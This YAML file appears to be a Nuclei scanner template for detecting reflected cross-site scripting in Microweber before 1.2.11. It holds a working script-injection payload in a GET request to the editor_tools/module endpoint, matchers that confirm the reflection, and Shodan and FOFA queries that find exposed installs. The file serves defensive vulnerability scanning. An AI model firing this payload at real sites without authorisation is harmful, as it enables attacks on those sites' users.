id: microweber-xss

info:
  name: Microweber Cross-Site Scripting
  author: gy741
  severity: high
  description: Microweber prior to 1.2.11 is susceptible to reflected cross-site Scripting via Packagist microweber/microweber.
  reference:
    - https://github.com/microweber/microweber/issues/809
    - https://github.com/microweber/microweber
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 1
    shodan-query:
      - http.favicon.hash:780351152
      - http.html:"microweber"
    product: microweber
    vendor: microweber
    fofa-query:
      - icon_hash=780351152
      - body="microweber"
  tags: microweber,xss,oss

http:
  - method: GET
    path:
      - '{{BaseURL}}/editor_tools/module?type=files/admin"><script>alert(document.domain)</script>&params=filetype=images#path='

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>" 0="filetype=images"'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402200730a444bdbf60850da93c263abb2b36fe23e321906f67525cbcdd113c12ce0f02205ca8c30ca621a6c57969ba79be0523b002f29fb54296cf5987afdadb4fa38683:922c64590222798bb761d5b6d8e72950